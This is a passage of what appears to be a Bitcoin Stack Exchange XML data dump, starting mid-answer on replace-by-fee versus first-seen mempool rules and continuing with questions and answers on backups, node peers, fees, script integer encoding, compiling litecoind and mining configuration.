pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The benefit of this system is that it changes the fundamental transaction selection rule but does not require changes to the way fees are calculated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The downside is that this represents a significant shift in terms of expected memory pool behavior. In my opinion, this makes transactions &lt;em&gt;less&lt;/em&gt; predictable; the first-seen rule is straightforward, predictable, and easy to understand and implement. Additionally, it breaks any functionality that relies on the predictability of unconfirmed transactions by making it trivial to issue double spends. (Double spending a first seen transaction requires a combination of moderate network and computing resources, some decent know-how, and some luck. Double spending in a replace-by-fee world requires none of the above.)&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;First-Seen-Safe Replace-By-Fee&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;FSS RBF attempts to make RBF compatible with first-seen memory pool implementations by requiring that the outputs from the original transaction be maintained by subsequent respends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The benefits are that in some situations, first-seen behavior can be relied upon. A transaction sending x BTC to a merchant cannot revoke that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In practice, however, this protection is pretty weak. It trivially breaks transactions that spend other unconfirmed transactions by allowing the first transaction in the chain to be replaced, invalidating future outputs. This means that the burden for double spending an unconfirmed transaction becomes only slightly higher than in standard replace-by-fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does, theoretically, allow one to accept an unconfirmed transaction that spends a confirmed output with similar protections as the typical first-seen behavior.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;It is impossible to talk about this without touching on the politics, though. The reason this is so contentious is that it involves a political change that breaks many systems that rely on first-seen memory pool behavior. The proponents of the change believe that since unconfirmed transactions are not subject to the same cryptographic protections as confirmed transactions, they should be pushed out of the ecosystem and tools that facilitate this should be adopted. The people who oppose this change believe that unconfirmed transactions represent an acceptable risk as with everything in Bitcoin (remember, Bitcoin &lt;em&gt;requires&lt;/em&gt; a majority of honest miners, for example), and that breaking something many people rely on unnecessarily is a net negative.&lt;/p&gt;&#xA;" OwnerUserId="24906" LastActivityDate="2015-07-01T18:41:39.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38358" PostTypeId="2" ParentId="38145" CreationDate="2015-07-01T19:04:32.990" Score="5" Body="&lt;p&gt;Right now, for the most part, Bitcoin miners follow a First-Seen-Safe rule: If 2 conflicting transactions show up in the mempool, the miner sticks with the one it saw first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace-By-Fee would enable miners to remove transactions from the mempool based on which transaction pays the higher fee. This is problematic because it enables fraud. If I pay a merchant and walk out, I can then easily broadcast a conflicting transaction which sends the money back to me with only a slightly higher fee. The merchant doesn't get paid, but I get the goods for a slightly larger transaction fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Child-Pays-For-Parent, an unconfirmed transaction(parent) can be raised in mining priority by spending their output(children). The extra fees that would come from children offer incentive for the miner to include the parent transaction. CPFP relates to RBF as a way for a merchant to fight fraud. If a merchant detects that a payment they were expecting has been rerouted, they can raise the priority of their preferred transaction using CPFP. This is a &lt;a href=&quot;https://medium.com/@octskyward/replace-by-fee-43edd9a1dd6d&quot;&gt;contentious&lt;/a&gt; solution to make RBF acceptable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoin-development.narkive.com/NgSiQBmM/bitcoin-development-first-seen-safe-replace-by-fee&quot;&gt;First-Seen-Safe Replace-By-Fee&lt;/a&gt; follows the RBF rules, but puts some requirements around replacing transactions in the mempool. When replacing a transaction based on higher fee, all the amounts of all the outputs from the original transaction need to be met. You can add and remove inputs, increase past output amounts, and add new outputs. You are allowed to modify transactions as long as you meet or exceed the past outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With FSSRBF you can safely accept transactions that spend confirmed outputs, but not unconfirmed transactions spending outputs of other unconfirmed transactions. CPFP is useful beyond RBF, but is not necessary for FSSRBF usability.&lt;/p&gt;&#xA;" OwnerUserId="18506" LastActivityDate="2015-07-01T19:04:32.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38359" PostTypeId="2" ParentId="38320" CreationDate="2015-07-01T19:09:25.200" Score="3" Body="&lt;p&gt;Answer reposted from: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/38145/how-does-first-seen-replace-by-fee-work/38358#38358&quot;&gt;How does first seen replace by fee work?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, for the most part, Bitcoin miners follow a First-Seen-Safe rule: If 2 conflicting transactions show up in the mempool, the miner sticks with the one it saw first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace-By-Fee would enable miners to remove transactions from the mempool based on which transaction pays the higher fee. This is problematic because it enables fraud. If I pay a merchant and walk out, I can then easily broadcast a conflicting transaction which sends the money back to me with only a slightly higher fee. The merchant doesn't get paid, but I get the goods for a slightly larger transaction fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Child-Pays-For-Parent, an unconfirmed transaction(parent) can be raised in mining priority by spending their output(children). The extra fees that would come from children offer incentive for the miner to include the parent transaction. CPFP relates to RBF as a way for a merchant to fight fraud. If a merchant detects that a payment they were expecting has been rerouted, they can raise the priority of their preferred transaction using CPFP. This is a &lt;a href=&quot;https://medium.com/@octskyward/replace-by-fee-43edd9a1dd6d&quot; rel=&quot;nofollow noreferrer&quot;&gt;contentious&lt;/a&gt; solution to make RBF acceptable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoin-development.narkive.com/NgSiQBmM/bitcoin-development-first-seen-safe-replace-by-fee&quot; rel=&quot;nofollow noreferrer&quot;&gt;First-Seen-Safe Replace-By-Fee&lt;/a&gt; follows the RBF rules, but puts some requirements around replacing transactions in the mempool. When replacing a transaction based on higher fee, all the amounts of all the outputs from the original transaction need to be met. You can add and remove inputs, increase past output amounts, and add new outputs. You are allowed to modify transactions as long as you meet or exceed the past outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With FSSRBF you can safely accept transactions that spend confirmed outputs, but not unconfirmed transactions spending outputs of other unconfirmed transactions. CPFP is useful beyond RBF, but is not necessary for FSSRBF usability.&lt;/p&gt;&#xA;" OwnerUserId="18506" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2015-07-01T19:09:25.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38360" PostTypeId="1" AcceptedAnswerId="38363" CreationDate="2015-07-01T21:10:38.323" Score="3" ViewCount="123" Body="&lt;p&gt;After installing &lt;a href=&quot;https://bitcoin.org/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-QT&lt;/a&gt; I have over 40GB of files in the &lt;code&gt;~/Library/Application Support/Bitcoin&lt;/code&gt;. It seems that the most important file there is &lt;code&gt;wallet.dat&lt;/code&gt;. Does it mean that I can exclude from time machine backups the &lt;code&gt;~/Library/Application Support/Bitcoin/blocks&lt;/code&gt; subdirectory to reduce the backup footprint? Will the bitcoin client download again those files in case of backup restoration without this subdirectory?&lt;/p&gt;&#xA;" OwnerUserId="27179" LastActivityDate="2015-07-01T21:38:21.030" Title="Can I ignore the blocks directory for time machine backups on OSX?" Tags="|backup|bitcoin-qt-setup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38361" PostTypeId="1" CreationDate="2015-07-01T21:23:06.010" Score="0" ViewCount="1476" Body="&lt;p&gt;I am currently trying to implement the blockchain API in my application. I have done this successfully however, I am having trouble whitelisting IPs. Each time a user accesses the app with a different IP,they get an error. Therefore I have to manually approve that particular IP address. Honestly, this is a major pain. How can make it so that I do not have to approve each and every user's IP address? Is there a wildcard for all IP addresses in the world that I can use?&lt;/p&gt;&#xA;" OwnerUserId="27180" LastEditorUserId="14887" LastEditDate="2015-08-31T06:33:27.433" LastActivityDate="2020-07-21T03:57:51.787" Title="Blockchain API whitelist all IP addresses" Tags="|api|blockchain.info|blockchain-wallet-app|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38362" PostTypeId="2" ParentId="38351" CreationDate="2015-07-01T21:36:49.980" Score="3" Body="&lt;p&gt;I don't think that the &lt;em&gt;v&lt;/em&gt; you describe is part of &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc6979&quot; rel=&quot;nofollow noreferrer&quot;&gt;RFC6979&lt;/a&gt; because I cannot find it in that document.  This &lt;em&gt;v&lt;/em&gt; happens to be part of the &lt;code&gt;ecdsa_raw_sign&lt;/code&gt; raw sign function in pybitcointools, which calls &lt;code&gt;deterministic_generate_k&lt;/code&gt;, which is an implementation of RFC6979.&lt;/p&gt;&#xA;&lt;p&gt;RFC6979 just helps you generate a deterministic &lt;em&gt;k&lt;/em&gt; value for signing.  It does not help you generate &lt;em&gt;r&lt;/em&gt; and &lt;em&gt;s&lt;/em&gt;.  To generate &lt;em&gt;r&lt;/em&gt; and &lt;em&gt;s&lt;/em&gt;, you just use the normal ECDSA algorithm; you don't have to refer to RFC6979 after you have used it to generate &lt;em&gt;k&lt;/em&gt;.  RFC6979 generates &lt;em&gt;k&lt;/em&gt;, which is an input to the signing algorithm that can generate &lt;em&gt;r&lt;/em&gt; and &lt;em&gt;s&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6091" LastEditorUserId="-1" LastEditDate="2021-10-07T07:34:52.683" LastActivityDate="2015-07-01T21:36:49.980" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="38363" PostTypeId="2" ParentId="38360" CreationDate="2015-07-01T21:38:21.030" Score="3" Body="&lt;p&gt;Yes, it is completely safe to exclude the &lt;code&gt;blocks&lt;/code&gt; directory from your backup process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the event that you lose all your files and need to restore from backup, Bitcoin will download all missing blocks. This may take some time, but there is no information in that directory that is unique to you.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2015-07-01T21:38:21.030" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38364" PostTypeId="2" ParentId="38352" CreationDate="2015-07-02T00:02:37.130" Score="1" Body="&lt;p&gt;Say you see a check for &quot;$50,000 to Bob&quot; that needs to be signed by Ed. What you want to know is whether the signature on the check came from Ed and signs the message &quot;$50,000 to Bob&quot;. So the question a signature checker answers is, does the given signature attach the given credential to the given message. How would it check that without the message?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checking a signature detached from a message would serve no purpose. Say you see that check for $50,000 to Bob. If Ed actually signed &quot;$50 to Alice&quot;, the the signature check &lt;em&gt;must&lt;/em&gt; fail -- since Ed didn't sign that message. So you &lt;em&gt;can't&lt;/em&gt; check the signature without knowing the message.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2015-07-02T19:15:20.157" LastActivityDate="2015-07-02T19:15:20.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38365" PostTypeId="1" AcceptedAnswerId="38405" CreationDate="2015-07-02T02:30:09.437" Score="2" ViewCount="427" Body="&lt;p&gt;&lt;code&gt;getnetworkinfo&lt;/code&gt; says IPv6 is working on my node:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;name&quot; : &quot;ipv6&quot;,&#xA;&quot;limited&quot; : false,&#xA;&quot;reachable&quot; : true,&#xA;&quot;proxy&quot; : &quot;127.0.0.1:9050&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yet why don't I get any IPv6 peers connecting to my node? Sometimes I get many connecting to it, but right now I have only IPv4 peers.&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2015-08-03T18:40:20.287" Title="no IPv6 peers connecting to my node" Tags="|nodes|peers|peer-discovery|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38368" PostTypeId="2" ParentId="7529" CreationDate="2015-07-02T11:51:03.117" Score="3" Body="&lt;p&gt;Because this seems like a collection of links, I will just add another one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/priiduneemre/btcd-cli4j&quot; rel=&quot;nofollow&quot;&gt;https://github.com/priiduneemre/btcd-cli4j&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3576" LastActivityDate="2015-07-02T11:51:03.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38370" PostTypeId="1" CreationDate="2015-07-02T13:07:09.510" Score="3" ViewCount="3269" Body="&lt;p&gt;I am trying to compile litecoind on Ubuntu 15.04 and I stuck here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/litecoin/src$ make -f makefile.unix USE_UPNP=-&#xA;make: makefile.unix: No such file or directory &#xA;make: *** No rule to make target 'makefile.unix'.  Stop.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I found some a little bit different ways to compile litecoind, but every time I have problems with &quot;makefile.unix&quot;. Can someone help me?&lt;/p&gt;&#xA;" OwnerUserId="27186" LastActivityDate="2017-11-27T02:49:56.857" Title="Compiling litecoind on Ubuntu 15.04" Tags="|litecoin|currencies|compiling|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38371" PostTypeId="1" CreationDate="2015-07-02T15:04:25.467" Score="2" ViewCount="1363" Body="&lt;p&gt;I have 2 questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Does anyone know where to find a reliable source for finding out a total amount of active bitcoin nodes?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How many peers does each active node have in avarage? Is there a limit to how many peers one node can have?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="24556" LastEditDate="2015-07-02T15:50:57.070" LastActivityDate="2015-11-29T20:54:10.283" Title="Total amount of nodes and avarage active peer number" Tags="|network|nodes|peers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38372" PostTypeId="2" ParentId="38371" CreationDate="2015-07-02T16:02:38.040" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Does anyone know where to find a reliable source for finding out a total amount of active bitcoin nodes?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://getaddr.bitnodes.io/&quot; rel=&quot;nofollow&quot;&gt;http://getaddr.bitnodes.io/&lt;/a&gt; tracks listening peers on IPv4 and IPv6 only. The number is subject to gaming if people desire, there's no assurance that any of the nodes there are actually useful to connect to. At least some of the nodes listed will be duplicate due to them having both an IPv4 and IPv6 socket open at the same time and thus appearing as &quot;two&quot; nodes.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How many peers does each active node have in average? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Bitcoin nodes will only attempt outgoing connections which are in ranges of IP addresses that are not close together, specifically for IPv4 it &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/net.cpp#L1280-L1292&quot; rel=&quot;nofollow&quot;&gt;won't connect to any two nodes that are in the same /16 block&lt;/a&gt;. This means that any node running on a popular area such as a VPS host or EC2 node will likely see substantially less incoming activity than one running in a less densely populated area. This is an attempt to raise the cost of a large scale sybil attack against the network by increasing the diversity of IP addresses needed to gain an extremely large number of connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a result you have to be very careful how you gain statistics about the number of incoming connections, because not all listening sockets are equal in the eyes of a client attempting to find peers. As far as I am aware nobody does this sort of data collection on a wide scale and publishes the results, but it is probably in the high tens of connections inbound on most nodes judging by my own experience. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a limit to how many peers one node can have?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The default is 125 maximum, 8 outgoing and 117 incoming. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Absent this the number is bounded by the constraints of the system it is running on. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-07-02T16:11:58.787" LastActivityDate="2015-07-02T16:11:58.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38373" PostTypeId="2" ParentId="38370" CreationDate="2015-07-02T16:07:39.317" Score="3" Body="&lt;p&gt;The build system has changed to &lt;code&gt;autotools&lt;/code&gt; in later versions of Litecoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The process now looks like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./autogen.sh &#xA;./configure&#xA;make -j4 &#xA;make install # optional&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's up to date instructions in detail in &lt;a href=&quot;https://github.com/litecoin-project/litecoin/blob/master-0.10/doc/build-unix.md&quot; rel=&quot;nofollow&quot;&gt;build-unix.md&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-07-02T16:07:39.317" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38374" PostTypeId="2" ParentId="37182" CreationDate="2015-07-02T18:54:57.723" Score="2" Body="&lt;p&gt;&lt;strong&gt;First: remind &lt;code&gt;settxfee&lt;/code&gt; is not a absolute fee per transaction. &lt;em&gt;It's a fee per kilobyte&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Alice sends 1BTC to Bob&lt;/li&gt;&#xA;&lt;li&gt;Alice has 11 times 0.1 BTC in her wallet (she received 11 times 0.1 BTC from different persons)&lt;/li&gt;&#xA;&lt;li&gt;Alice transaction will require all 11 x 0.1BTC inputs to create the 1BTC-to-Bob-transaction&lt;/li&gt;&#xA;&lt;li&gt;Therefore the transaction is bigger (in terms of bytesize) then if she would hold 1 x 1.1BTC in her wallet.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Bitcoin-Core will only accept transaction to it's mempool which contains the minimum fee.&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-07-02T18:54:57.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38375" PostTypeId="1" AcceptedAnswerId="38376" CreationDate="2015-07-02T20:36:27.473" Score="7" ViewCount="8272" Body="&lt;p&gt;If I want to make a transaction and send it without fee, how long will it take to get confirmed?&lt;/p&gt;&#xA;&lt;p&gt;My friend told me it will take more than 1 day. Can anyone here explain to me why that can be happen ?&lt;/p&gt;&#xA;" OwnerUserId="27028" LastEditorUserId="5406" LastEditDate="2021-09-08T13:27:27.540" LastActivityDate="2021-09-08T13:27:27.540" Title="How long would a transaction without fee take to confirm?" Tags="|transaction-fees|blockspace-market|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="38376" PostTypeId="2" ParentId="38375" CreationDate="2015-07-02T22:00:13.227" Score="4" Body="&lt;p&gt;Confirming transactions without any fee depends on the Bitcoin miner's goodwill. Because miners won't get any compensation for confirming your transaction, it means they do not have incentive to put your transaction in the blocks they mine. Thus, if the Bitcoin blockchain is busy, transactions with a higher fee are more likely to be confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the default &lt;code&gt;Bitcoind&lt;/code&gt; behavior also considers other factors besides the transaction fee when choosing transactions to include. These are transaction age and size in bytes. More information available here: &lt;a href=&quot;http://bitcoinfees.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcoinfees.com/&lt;/a&gt; Also some miners choose not to follow the default Bitcoin transaction fee mechanisms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In practice, when writing this, zero fee transactions usually confirm between 1-7 days. &lt;/p&gt;&#xA;" OwnerUserId="5464" LastEditorUserId="63872" LastEditDate="2019-01-07T01:03:30.373" LastActivityDate="2019-01-07T01:03:30.373" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="38378" PostTypeId="1" CreationDate="2015-07-03T01:39:00.213" Score="4" ViewCount="725" Body="&lt;p&gt;I've been looking at the compact representation of integers for integer operations in the Script language. It seems that most operations produce or push byte arrays, but when integer operations are performed those arrays are interpreted using a signed compact format.  Is this format actually defined anywhere, or is it strictly bitcoin specific? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it you can process up to 4 bytes as a integer, the negative of an integer is binary or'd with &lt;code&gt;0x80&lt;/code&gt;. I'm having trouble decoding 1-4 byte negative integers into the correct bit string encoding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any examples, or can point me in the right direction?&lt;/p&gt;&#xA;" OwnerUserId="17055" LastEditorUserId="3182" LastEditDate="2015-08-03T08:27:00.433" LastActivityDate="2016-08-28T15:50:00.730" Title="Compact integer in Scripts" Tags="|bitcoin-core|script|encoding|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38379" PostTypeId="1" AcceptedAnswerId="38393" CreationDate="2015-07-03T06:56:15.373" Score="0" ViewCount="196" Body="&lt;p&gt;I have version 0.9.3 of bitcoind on my Ubuntu server and I want to upgrade to 0.10.1,&#xA;I have nothing in my wallet.&#xA;Does the blockchain 0.9.3 compatible with 0.10.1?&#xA;Do I have anything to keep from version 0.9.3 ?&lt;/p&gt;&#xA;" OwnerUserId="27120" LastEditorUserId="27219" LastEditDate="2015-07-05T03:00:02.757" LastActivityDate="2015-07-05T03:00:02.757" Title="Ubuntu. (blockchain of version 0.9.3 compatible with 0.10.1?)" Tags="|blockchain|bitcoin-core|ubuntu|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38380" PostTypeId="2" ParentId="37748" CreationDate="2015-07-03T07:02:45.173" Score="2" Body="&lt;p&gt;In electrum there is an option to sweep private key , dump your private key from bitcoin core and then sweep it into electrum. Then you can spend your coins in electrum&lt;/p&gt;&#xA;" OwnerUserId="26481" LastActivityDate="2015-07-03T07:02:45.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38381" PostTypeId="2" ParentId="38378" CreationDate="2015-07-03T07:07:41.640" Score="-1" Body="&lt;p&gt;I am not sure where you found negative integers. But in most places in bitcoin protocol a compact variable length is used for integers. See reference here &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_documentation#Variable_length_integer&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Protocol_documentation#Variable_length_integer&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26481" LastActivityDate="2015-07-03T07:07:41.640" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38382" PostTypeId="2" ParentId="4394" CreationDate="2015-07-03T07:13:39.287" Score="1" Body="&lt;p&gt;Simplest way is to run &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind -blocknotify myscript.sh %s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the blocks after bitcoind catches up with the blockchain, your scripts will get called with the new blockhash. You can print a message or do anything else required in this script &lt;/p&gt;&#xA;" OwnerUserId="26481" LastActivityDate="2015-07-03T07:13:39.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38383" PostTypeId="2" ParentId="36284" CreationDate="2015-07-03T07:20:45.773" Score="0" Body="&lt;p&gt;You should be able to export bitcoin adddress in your wallet. You can also use services like &lt;a href=&quot;http://www.blockonomics.co&quot; rel=&quot;nofollow&quot;&gt;http://www.blockonomics.co&lt;/a&gt; to monitor your cold storage&lt;/p&gt;&#xA;" OwnerUserId="26481" LastActivityDate="2015-07-03T07:20:45.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38384" PostTypeId="1" AcceptedAnswerId="38385" CreationDate="2015-07-03T08:36:31.257" Score="10" ViewCount="4779" Body="&lt;p&gt;A Bitcoin client has to download the whole blockchain from the P2P network in order to become a full node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A full node is able to determine, if a transaction in the network is valid or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To download the blockchain, the client queries other peers in the network for more blocks by providing them with the hash of the last block it has currently in its downloaded blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other nodes search in their currently best blockchain for the specified hash and return a list of hashes of further blocks the client can download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the client determines that the further block hashes are indeed in the longest block chain by crossvalidating other nodes, it requests those blocks from its peers by giving them the hashes of those new blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the download, it checks for itself that the blocks follow the rules of the bitcoin network and inserts them in its current blockchain.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This algorithm assumes that any valid block in the blockchain has a unique hash that identifies it.&#xA;What happens, if by chance a block is inserted in the blockchain that has the same hash as a previous block and that complies with all rules of the bitcoin network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wouldn't that break the algorithm?&lt;/p&gt;&#xA;" OwnerUserId="21297" LastEditorUserId="5406" LastEditDate="2015-07-03T08:53:06.037" LastActivityDate="2015-07-16T13:25:47.110" Title="How does the bitcoin network recover in case of a hash collision in the block hash?" Tags="|blockchain|bitcoind|block-header|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38385" PostTypeId="2" ParentId="38384" CreationDate="2015-07-03T09:00:25.187" Score="9" Body="&lt;p&gt;It would not break the algorithm. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_documentation#Inventory_Vectors&quot; rel=&quot;noreferrer&quot;&gt;inventory vector&lt;/a&gt; of the described new block would be a duplicate of an already known block, no other node would request this block. It would just be ignored, as if never discovered in the first place. Everybody else would still be hashing away happily, obsoleting the block eventually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tough luck for the miner, he'd not get the reward, because everybody would be convinced that no new block has been found at that height yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, chances of that happening are negligible, because the block hash is a random 256 bit output (smaller than the current target), which allows for an immense number of possible hash outputs of a similar magnitude as the &lt;a href=&quot;https://bitcoin.stackexchange.com/a/12740/5406&quot;&gt;address space&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, @NickODell made me aware that it can cause a problem, when nodes see the newer block before the older block that was already part of the longest chain. In that case the node would be unable to synchronize, as it would not be able to build the complete chain.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2015-07-16T13:25:47.110" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="38386" PostTypeId="2" ParentId="38343" CreationDate="2015-07-03T09:39:48.347" Score="3" Body="&lt;p&gt;Bitcoinj is based on Java and allows you to send transactions to the network. Its an implementation of the Bitcoin Protocol. However, it doesn't provide any way to visualize the blockchain (it only stores 646kb of the blockchain, not all 30gbs). You should improve the question to descrbe what exactly ou want to do! &lt;/p&gt;&#xA;" OwnerUserId="27200" LastActivityDate="2015-07-03T09:39:48.347" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38387" PostTypeId="1" CreationDate="2015-07-03T10:43:48.737" Score="1" ViewCount="271" Body="&lt;p&gt;Trying to mine using cudaminer but I keep getting JSON error 1, here is the batch file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cudaminer.exe -H 1 -i 1 -l T9x20 -C 2 or -H 1 -i 1 -l T12x32 -c 1 -o stratum+tcp://global.wemineltc.com:3333 -u omarqureshi.1 -p x -I 13&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27201" LastActivityDate="2015-07-03T10:43:48.737" Title="JSON decode of 1 failed" Tags="|litecoin|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38388" PostTypeId="2" ParentId="38379" CreationDate="2015-07-03T12:28:07.253" Score="1" Body="&lt;p&gt;It should be forward compatible, but making backups of your wallet is always recommended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you upgrade to 0.10.x, downgrading to 0.9.x afterwards may not be possible anymore.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-07-03T12:28:07.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38389" PostTypeId="2" ParentId="38375" CreationDate="2015-07-03T13:39:18.323" Score="1" Body="&lt;p&gt;it does require around 1-7 days from my experience before, Basically you it has a very small priority since all the transactions with fees will have a priority over it. if it's for a value of ~0.01-0.10 BTC it will most likely go through, if it's less there is a possibility that it will remain pending for multiple days. Sometimes it can get stuck too like this one (&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/23450/sent-bitcoin-with-no-fee-waited-and-bitcoins-disappeared&quot;&gt;Sent bitcoin with no fee, waited and bitcoins disappeared&lt;/a&gt;)&#xA;Best thing is to include the standard fee or even some fees to avoid inconveniences.&lt;/p&gt;&#xA;" OwnerUserId="27120" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2015-07-03T13:39:18.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
